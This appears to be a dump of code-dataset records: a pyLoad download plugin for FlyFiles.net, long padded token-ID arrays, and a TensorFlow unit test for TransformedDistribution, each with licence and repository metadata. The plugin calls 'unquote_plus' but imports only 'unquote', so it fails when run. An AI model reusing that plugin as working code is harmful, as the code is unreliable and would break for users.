# -*- coding: utf-8 -*- import re from urllib import unquote from module.network.RequestFactory import getURL from module.plugins.internal.SimpleHoster import SimpleHoster class FlyFilesNet(SimpleHoster): __name__ = "FlyFilesNet" __type__ = "hoster" __version__ = "0.1" __pattern__ = r'http://(?:www\.)?flyfiles\.net/.*' __description__ = """FlyFiles.net hoster plugin""" __license__ = "GPLv3" __authors__ = [] SESSION_PATTERN = r'flyfiles\.net/(.*)/.*' NAME_PATTERN = r'flyfiles\.net/.*/(.*)' def process(self, pyfile): name = re.search(self.NAME_PATTERN, pyfile.url).group(1) pyfile.name = unquote_plus(name) session = re.search(self.SESSION_PATTERN, pyfile.url).group(1) url = "http://flyfiles.net" # get download URL parsed_url = getURL(url, post={"getDownLink": session}, cookies=True) self.logDebug("Parsed URL: %s" % parsed_url) if parsed_url == '#downlink|' or parsed_url == "#downlink|#": self.logWarning(_("Could not get the download URL. Please wait 10 minutes")) self.wait(10 * 60, True) self.retry() download_url = parsed_url.replace('#downlink|', '') self.download(download_url)
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 646, 295, 199, 199, 504, 4011, 492, 14342, 199, 199, 504, 859, 14, 1200, 14, 2017, 2927, 492, 664, 2632, 199, 504, 859, 14, 5265, 14, 4672, 14, 3184, 40, 29895, 492, 5870, 40, 29895, 421, 199, 533, 481, 590, 5535, 2480, 8, 3184, 40, 29895, 304, 272, 636, 354, 363, 259, 275, 298, 38, 590, 5535, 2480, 2, 272, 636, 466, 363, 259, 275, 298, 526, 11652, 2, 272, 636, 1023, 363, 275, 298, 16, 14, 17, 2, 339, 636, 3401, 363, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 21600, 1725, 4537, 846, 15, 25737, 339, 636, 1802, 363, 275, 408, 38, 590, 5535, 14, 846, 394, 29895, 3589, 624, 272, 636, 1682, 363, 258, 275, 298, 28863, 19, 2, 272, 636, 8149, 363, 258, 275, 942, 339, 428, 9577, 63, 10764, 275, 519, 7, 21600, 1725, 4537, 846, 7985, 2795, 2447, 25737, 272, 13637, 63, 10764, 275, 519, 7, 21600, 1725, 4537, 846, 15, 2795, 7985, 2795, 3171, 2378, 347, 2112, 8, 277, 12, 1134, 493, 304, 267, 536, 275, 295, 14, 1733, 8, 277, 14, 2339, 63, 10764, 12, 1134, 493, 14, 633, 680, 923, 8, 17, 9, 267, 1134, 493, 14, 354, 275, 14342, 63, 6666, 8, 354, 9, 398, 2351, 275, 295, 14, 1733, 8, 277, 14, 12763, 63, 10764, 12, 1134, 493, 14, 633, 680, 923, 8, 17, 9, 398, 1166, 275, 298, 1014, 921, 21600, 1725, 14, 846, 2, 398, 327, 664, 5235, 2851, 267, 4565, 63, 633, 275, 664, 2632, 8, 633, 12, 2963, 8871, 362, 3514, 3834, 582, 2351, 1386, 10049, 29, 549, 9, 267, 291, 14, 793, 7084, 480, 1262, 939, 2851, 26, 450, 83, 2, 450, 4565, 63, 633, 9, 398, 340, 4565, 63, 633, 508, 3943, 2110, 1073, 5227, 503, 4565, 63, 633, 508, 5426, 2110, 1073, 92, 3, 582, 288, 291, 14, 793, 3849, 6115, 6531, 440, 664, 314, 5235, 2851, 14, 7754, 3618, 1616, 9395, 2237, 288, 291, 14, 2573, 8, 709, 627, 5212, 12, 715, 9, 288, 291, 14, 7154, 342, 398, 5235, 63, 633, 275, 4565, 63, 633, 14, 1814, 7863, 2110, 1073, 26320, 4074, 398, 291, 14, 4249, 8, 4249, 63, 633, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 646, 295, 199, 199, 504, 4011, 492, 14342, 199, 199, 504, 859, 14, 1200, 14, 2017, 2927, 492, 664, 2632, 199, 504, 859, 14, 5265, 14, 4672, 14, 3184, 40, 29895, 492, 5870, 40, 29895, 421, 199, 533, 481, 590, 5535, 2480, 8, 3184, 40, 29895, 304, 272, 636, 354, 363, 259, 275, 298, 38, 590, 5535, 2480, 2, 272, 636, 466, 363, 259, 275, 298, 526, 11652, 2, 272, 636, 1023, 363, 275, 298, 16, 14, 17, 2, 339, 636, 3401, 363, 275, 519, 7, 1014, 921, 5169, 1544, 20316, 21600, 1725, 4537, 846, 15, 25737, 339, 636, 1802, 363, 275, 408, 38, 590, 5535, 14, 846, 394, 29895, 3589, 624, 272, 636, 1682, 363, 258, 275, 298, 28863, 19, 2, 272, 636, 8149, 363, 258, 275, 942, 339, 428, 9577, 63, 10764, 275, 519, 7, 21600, 1725, 4537, 846, 7985, 2795, 2447, 25737, 272, 13637, 63, 10764, 275, 519, 7, 21600, 1725, 4537, 846, 15, 2795, 7985, 2795, 3171, 2378, 347, 2112, 8, 277, 12, 1134, 493, 304, 267, 536, 275, 295, 14, 1733, 8, 277, 14, 2339, 63, 10764, 12, 1134, 493, 14, 633, 680, 923, 8, 17, 9, 267, 1134, 493, 14, 354, 275, 14342, 63, 6666, 8, 354, 9, 398, 2351, 275, 295, 14, 1733, 8, 277, 14, 12763, 63, 10764, 12, 1134, 493, 14, 633, 680, 923, 8, 17, 9, 398, 1166, 275, 298, 1014, 921, 21600, 1725, 14, 846, 2, 398, 327, 664, 5235, 2851, 267, 4565, 63, 633, 275, 664, 2632, 8, 633, 12, 2963, 8871, 362, 3514, 3834, 582, 2351, 1386, 10049, 29, 549, 9, 267, 291, 14, 793, 7084, 480, 1262, 939, 2851, 26, 450, 83, 2, 450, 4565, 63, 633, 9, 398, 340, 4565, 63, 633, 508, 3943, 2110, 1073, 5227, 503, 4565, 63, 633, 508, 5426, 2110, 1073, 92, 3, 582, 288, 291, 14, 793, 3849, 6115, 6531, 440, 664, 314, 5235, 2851, 14, 7754, 3618, 1616, 9395, 2237, 288, 291, 14, 2573, 8, 709, 627, 5212, 12, 715, 9, 288, 291, 14, 7154, 342, 398, 5235, 63, 633, 275, 4565, 63, 633, 14, 1814, 7863, 2110, 1073, 26320, 4074, 398, 291, 14, 4249, 8, 4249, 63, 633, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
elingg/tensorflow
tensorflow/contrib/distributions/python/kernel_tests/transformed_distribution_test.py
7
13831
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for TransformedDistribution.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np from scipy import stats from tensorflow.contrib import distributions from tensorflow.contrib import linalg from tensorflow.contrib.distributions.python.ops import bijector as bijector_lib from tensorflow.python.framework import dtypes from tensorflow.python.framework import ops from tensorflow.python.framework import tensor_shape from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.platform import test bs = bijector_lib ds = distributions la = linalg class _ChooseLocation(bs.Bijector): """A Bijector which chooses between one of two location parameters.""" def __init__(self, loc, name="ChooseLocation"): self._graph_parents = [] self._name = name with self._name_scope("init", values=[loc]): self._loc = ops.convert_to_tensor(loc, name="loc") super(_ChooseLocation, self).__init__( graph_parents=[self._loc], is_constant_jacobian=True, validate_args=False, name=name) def _forward(self, x, z): return x + self._gather_loc(z) def _inverse(self, x, z): return x - self._gather_loc(z) def _inverse_log_det_jacobian(self, x, z=None): return 0. def _gather_loc(self, z): z = ops.convert_to_tensor(z) z = math_ops.cast((1 + z) / 2, dtypes.int32) return array_ops.gather(self._loc, z) class TransformedDistributionTest(test.TestCase): def testTransformedDistribution(self): g = ops.Graph() with g.as_default(): mu = 3.0 sigma = 2.0 # Note: the Jacobian callable only works for this example; more generally # you may or may not need a reduce_sum. log_normal = ds.TransformedDistribution( distribution=ds.Normal(mu=mu, sigma=sigma), bijector=bs.Exp(event_ndims=0)) sp_dist = stats.lognorm(s=sigma, scale=np.exp(mu)) # sample sample = log_normal.sample(100000, seed=235) self.assertAllEqual([], log_normal.get_event_shape()) with self.test_session(graph=g): self.assertAllEqual([], log_normal.event_shape().eval()) self.assertAllClose( sp_dist.mean(), np.mean(sample.eval()), atol=0.0, rtol=0.05) # pdf, log_pdf, cdf, etc... # The mean of the lognormal is around 148. test_vals = np.linspace(0.1, 1000., num=20).astype(np.float32) for func in [[log_normal.log_prob, sp_dist.logpdf], [log_normal.prob, sp_dist.pdf], [log_normal.log_cdf, sp_dist.logcdf], [log_normal.cdf, sp_dist.cdf], [log_normal.survival_function, sp_dist.sf], [log_normal.log_survival_function, sp_dist.logsf]]: actual = func[0](test_vals) expected = func[1](test_vals) with self.test_session(graph=g): self.assertAllClose(expected, actual.eval(), atol=0, rtol=0.01) def testCachedSamplesWithoutInverse(self): with self.test_session() as sess: mu = 3.0 sigma = 0.02 log_normal = ds.TransformedDistribution( distribution=ds.Normal(mu=mu, sigma=sigma), bijector=bs.Exp(event_ndims=0)) sample = log_normal.sample(1) sample_val, log_pdf_val = sess.run([sample, log_normal.log_pdf(sample)]) self.assertAllClose( stats.lognorm.logpdf(sample_val, s=sigma, scale=np.exp(mu)), log_pdf_val, atol=1e-2) def testConditioning(self): with self.test_session(): conditional_normal = ds.TransformedDistribution( distribution=ds.Normal(mu=0., sigma=1.), bijector=_ChooseLocation(loc=[-100., 100.])) z = [-1, +1, -1, -1, +1] self.assertAllClose( np.sign(conditional_normal.sample( 5, bijector_kwargs={"z": z}).eval()), z) def testShapeChangingBijector(self): with self.test_session(): softmax = bs.SoftmaxCentered() standard_normal = ds.Normal(mu=0., sigma=1.) multi_logit_normal = ds.TransformedDistribution( distribution=standard_normal, bijector=softmax) x = [[-np.log(3.), 0.], [np.log(3), np.log(5)]] y = softmax.forward(x).eval() expected_log_pdf = (stats.norm(loc=0., scale=1.).logpdf(x) - np.sum(np.log(y), axis=-1)) self.assertAllClose(expected_log_pdf, multi_logit_normal.log_prob(y).eval()) self.assertAllClose( [1, 2, 3, 2], array_ops.shape(multi_logit_normal.sample([1, 2, 3])).eval()) self.assertAllEqual([2], multi_logit_normal.get_event_shape()) self.assertAllEqual([2], multi_logit_normal.event_shape().eval()) def testEntropy(self): with self.test_session(): shift = np.array([[-1, 0, 1], [-1, -2, -3]], dtype=np.float32) diag = np.array([[1, 2, 3], [2, 3, 2]], dtype=np.float32) actual_mvn_entropy = np.concatenate([ [stats.multivariate_normal(shift[i], np.diag(diag[i]**2)).entropy()] for i in range(len(diag))]) fake_mvn = ds.TransformedDistribution( ds.MultivariateNormalDiag( array_ops.zeros_like(shift), array_ops.ones_like(diag), validate_args=True), bs.AffineLinearOperator( shift, scale=la.LinearOperatorDiag(diag, is_non_singular=True), validate_args=True), validate_args=True) self.assertAllClose(actual_mvn_entropy, fake_mvn.entropy().eval()) class ScalarToMultiTest(test.TestCase): def setUp(self): self._shift = np.array([-1, 0, 1], dtype=np.float32) self._tril = np.array([[[-1., 0, 0], [2, 1, 0], [3, 2, 1]], [[2, 0, 0], [3, -2, 0], [4, 3, 2]]], dtype=np.float32) def _testMVN(self, base_distribution_class, base_distribution_kwargs, batch_shape=(), event_shape=(), not_implemented_message=None): with self.test_session() as sess: # Overriding shapes must be compatible w/bijector; most bijectors are # batch_shape agnostic and only care about event_ndims. # In the case of `Affine`, if we got it wrong then it would fire an # exception due to incompatible dimensions. batch_shape_pl = array_ops.placeholder( dtypes.int32, name="dynamic_batch_shape") event_shape_pl = array_ops.placeholder( dtypes.int32, name="dynamic_event_shape") feed_dict = {batch_shape_pl: np.array(batch_shape, dtype=np.int32), event_shape_pl: np.array(event_shape, dtype=np.int32)} fake_mvn_dynamic = ds.TransformedDistribution( distribution=base_distribution_class(validate_args=True, **base_distribution_kwargs), bijector=bs.Affine(shift=self._shift, scale_tril=self._tril), batch_shape=batch_shape_pl, event_shape=event_shape_pl, validate_args=True) fake_mvn_static = ds.TransformedDistribution( distribution=base_distribution_class(validate_args=True, **base_distribution_kwargs), bijector=bs.Affine(shift=self._shift, scale_tril=self._tril), batch_shape=batch_shape, event_shape=event_shape, validate_args=True) actual_mean = np.tile(self._shift, [2, 1]) # Affine elided this tile. actual_cov = np.matmul(self._tril, np.transpose(self._tril, [0, 2, 1])) def actual_mvn_log_prob(x): return np.concatenate([ [stats.multivariate_normal( actual_mean[i], actual_cov[i]).logpdf(x[:, i, :])] for i in range(len(actual_cov))]).T actual_mvn_entropy = np.concatenate([ [stats.multivariate_normal( actual_mean[i], actual_cov[i]).entropy()] for i in range(len(actual_cov))]) self.assertAllEqual([3], fake_mvn_static.get_event_shape()) self.assertAllEqual([2], fake_mvn_static.get_batch_shape()) self.assertAllEqual(tensor_shape.TensorShape(None), fake_mvn_dynamic.get_event_shape()) self.assertAllEqual(tensor_shape.TensorShape(None), fake_mvn_dynamic.get_batch_shape()) x = fake_mvn_static.sample(5, seed=0).eval() for unsupported_fn in (fake_mvn_static.log_cdf, fake_mvn_static.cdf, fake_mvn_static.survival_function, fake_mvn_static.log_survival_function): with self.assertRaisesRegexp(NotImplementedError, not_implemented_message): unsupported_fn(x) num_samples = 5e3 for fake_mvn, feed_dict in ((fake_mvn_static, {}), (fake_mvn_dynamic, feed_dict)): # Ensure sample works by checking first, second moments. y = fake_mvn.sample(int(num_samples), seed=0) x = y[0:5, ...] sample_mean = math_ops.reduce_mean(y, 0) centered_y = array_ops.transpose(y - sample_mean, [1, 2, 0]) sample_cov = math_ops.matmul( centered_y, centered_y, transpose_b=True) / num_samples [ sample_mean_, sample_cov_, x_, fake_event_shape_, fake_batch_shape_, fake_log_prob_, fake_prob_, fake_entropy_, ] = sess.run([ sample_mean, sample_cov, x, fake_mvn.event_shape(), fake_mvn.batch_shape(), fake_mvn.log_prob(x), fake_mvn.prob(x), fake_mvn.entropy(), ], feed_dict=feed_dict) self.assertAllClose(actual_mean, sample_mean_, atol=0.1, rtol=0.1) self.assertAllClose(actual_cov, sample_cov_, atol=0., rtol=0.1) # Ensure all other functions work as intended. self.assertAllEqual([5, 2, 3], x_.shape) self.assertAllEqual([3], fake_event_shape_) self.assertAllEqual([2], fake_batch_shape_) self.assertAllClose(actual_mvn_log_prob(x_), fake_log_prob_, atol=0., rtol=1e-6) self.assertAllClose(np.exp(actual_mvn_log_prob(x_)), fake_prob_, atol=0., rtol=1e-5) self.assertAllClose(actual_mvn_entropy, fake_entropy_, atol=0., rtol=1e-6) def testScalarBatchScalarEvent(self): self._testMVN( base_distribution_class=ds.Normal, base_distribution_kwargs={"mu": 0., "sigma": 1.}, batch_shape=[2], event_shape=[3], not_implemented_message="not implemented when overriding event_shape") def testScalarBatchNonScalarEvent(self): self._testMVN( base_distribution_class=ds.MultivariateNormalDiag, base_distribution_kwargs={"mu": [0., 0., 0.], "diag_stdev": [1., 1, 1]}, batch_shape=[2], not_implemented_message="not implemented$") with self.test_session(): # Can't override event_shape for scalar batch, non-scalar event. with self.assertRaisesRegexp(ValueError, "base distribution not scalar"): ds.TransformedDistribution( distribution=ds.MultivariateNormalDiag(mu=[0.], diag_stdev=[1.]), bijector=bs.Affine(shift=self._shift, scale_tril=self._tril), batch_shape=[2], event_shape=[3], validate_args=True) def testNonScalarBatchScalarEvent(self): self._testMVN( base_distribution_class=ds.Normal, base_distribution_kwargs={"mu": [0., 0], "sigma": [1., 1]}, event_shape=[3], not_implemented_message="not implemented when overriding event_shape") with self.test_session(): # Can't override batch_shape for non-scalar batch, scalar event. with self.assertRaisesRegexp(ValueError, "base distribution not scalar"): ds.TransformedDistribution( distribution=ds.Normal(mu=[0.], sigma=[1.]), bijector=bs.Affine(shift=self._shift, scale_tril=self._tril), batch_shape=[2], event_shape=[3], validate_args=True) def testNonScalarBatchNonScalarEvent(self): with self.test_session(): # Can't override event_shape and/or batch_shape for non_scalar batch, # non-scalar event. with self.assertRaisesRegexp(ValueError, "base distribution not scalar"): ds.TransformedDistribution( distribution=ds.MultivariateNormalDiag(mu=[[0.]], diag_stdev=[[1.]]), bijector=bs.Affine(shift=self._shift, scale_tril=self._tril), batch_shape=[2], event_shape=[3], validate_args=True) if __name__ == "__main__": test.main()
apache-2.0
[ 3, 1898, 6900, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 2925, 367, 6266, 6194, 8580, 1041, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 2680, 465, 980, 199, 504, 7026, 492, 5020, 199, 199, 504, 3228, 14, 2828, 492, 10208, 199, 504, 3228, 14, 2828, 492, 16727, 199, 504, 3228, 14, 2828, 14, 5613, 14, 1548, 14, 1483, 492, 12111, 19625, 465, 12111, 19625, 63, 773, 199, 504, 3228, 14, 1548, 14, 4857, 492, 6674, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 4857, 492, 2345, 63, 1392, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 3473, 63, 1483, 199, 504, 3228, 14, 1548, 14, 3246, 492, 511, 199, 199, 1533, 275, 12111, 19625, 63, 773, 199, 795, 275, 10208, 199, 416, 275, 16727, 421, 199, 533, 485, 23932, 6592, 8, 1533, 14, 17975, 19625, 304, 523, 408, 33, 31012, 19625, 1314, 2468, 32128, 3382, 1373, 402, 2877, 2909, 2633, 1041, 819, 347, 636, 826, 721, 277, 12, 4355, 12, 536, 628, 23932, 6592, 2349, 272, 291, 423, 2180, 63, 8859, 275, 942, 272, 291, 423, 354, 275, 536, 272, 543, 291, 423, 354, 63, 2645, 480, 826, 401, 1338, 1524, 2102, 4682, 489, 291, 423, 2102, 275, 4156, 14, 3916, 63, 475, 63, 3128, 8, 2102, 12, 536, 628, 2102, 531, 489, 1613, 1547, 23932, 6592, 12, 291, 2843, 826, 721, 881, 3343, 63, 8859, 1524, 277, 423, 2102, 467, 881, 365, 63, 4083, 63, 27342, 29, 549, 12, 881, 4107, 63, 589, 29, 797, 12, 881, 536, 29, 354, 9, 819, 347, 485, 6688, 8, 277, 12, 671, 12, 1315, 304, 272, 372, 671, 435, 291, 423, 13737, 63, 2102, 8, 90, 9, 819, 347, 485, 11668, 8, 277, 12, 671, 12, 1315, 304, 272, 372, 671, 446, 291, 423, 13737, 63, 2102, 8, 90, 9, 819, 347, 485, 11668, 63, 793, 63, 9886, 63, 27342, 8, 277, 12, 